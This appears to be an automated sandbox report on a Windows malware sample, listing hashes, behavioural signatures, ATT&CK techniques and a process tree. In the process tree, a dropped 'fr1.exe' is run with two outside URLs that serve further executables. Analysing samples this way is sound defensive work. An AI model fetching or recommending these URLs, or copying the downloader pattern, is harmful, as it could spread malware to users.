926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3

Analysis

max time kernel
144s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/12/2022, 07:56

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General

Target

926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe
Size

190KB
MD5

87f8eda6add0022bf6cce0a5ad0dc864
SHA1

f270117bdb98f011215cff3653bd5aff97038dac
SHA256

926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3
SHA512

eb3411561f4c68365cf35c610d9ff59dea4b2fed0d0efd84cfb2d0000e13ac262be1114dd8aaf13d76ce59f0b58994a4822aa9bab1f8467ac42b520df6b2a42a
SSDEEP

3072:nMEMvxdknmg1tDbuLB+5xGT21JqaEvNTy6o12MNVRHkL0G9rs6SfaizV3PZXsDMc:nME1nmg1tDbJ5621YNpoDvI0G9o6SvVU

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4088	fr1.exe
5028	fr1.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4088	fr1.exe
4088	fr1.exe
4088	fr1.exe
5028	fr1.exe
5028	fr1.exe
5028	fr1.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 4088	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	79
PID 4020 wrote to memory of 4088	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	79
PID 4020 wrote to memory of 4088	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	79
PID 4020 wrote to memory of 5028	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	80
PID 4020 wrote to memory of 5028	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	80
PID 4020 wrote to memory of 5028	4020	926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe	80

C:\Users\Admin\AppData\Local\Temp\926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe
"C:\Users\Admin\AppData\Local\Temp\926bf6daecb3efd392ae93db49a49585865ffb789f2bca9e82de3eb64be910c3.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe" "http://www.xunlei100.com/msn/software/partner/dh181/mini06.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4088
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe" "http://dd.pctutu.com/soft/126/sr_v10_mini.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe

Filesize
228KB

MD5
9eae280efd788f63770e8195e62ba024

SHA1
3cc44384bd77606c6193f9e1940cdfe975cb40a3

SHA256
ba8bb5c9154f91a07a780b1ded9855f45a2835c2d71877e8b84007b21d3e9fc6

SHA512
b2543d269e113247895e7144a640e5870e8e370c025d1cf2d06e14e5d4a6749cc4fd558c6fad0cb7fc2972066ed583b56c98af5cc5c36efc16c382980685d2a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe

Filesize
228KB

MD5
9eae280efd788f63770e8195e62ba024

SHA1
3cc44384bd77606c6193f9e1940cdfe975cb40a3

SHA256
ba8bb5c9154f91a07a780b1ded9855f45a2835c2d71877e8b84007b21d3e9fc6

SHA512
b2543d269e113247895e7144a640e5870e8e370c025d1cf2d06e14e5d4a6749cc4fd558c6fad0cb7fc2972066ed583b56c98af5cc5c36efc16c382980685d2a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\fr1.exe

Filesize
228KB

MD5
9eae280efd788f63770e8195e62ba024

SHA1
3cc44384bd77606c6193f9e1940cdfe975cb40a3

SHA256
ba8bb5c9154f91a07a780b1ded9855f45a2835c2d71877e8b84007b21d3e9fc6

SHA512
b2543d269e113247895e7144a640e5870e8e370c025d1cf2d06e14e5d4a6749cc4fd558c6fad0cb7fc2972066ed583b56c98af5cc5c36efc16c382980685d2a5

Download Submit
memory/4020-132-0x0000000000400000-0x0000000000437517-memory.dmp

Filesize
221KB

Download
memory/4020-136-0x0000000000400000-0x0000000000437517-memory.dmp

Filesize
221KB

Download
memory/4020-139-0x0000000000400000-0x0000000000437517-memory.dmp

Filesize
221KB

Download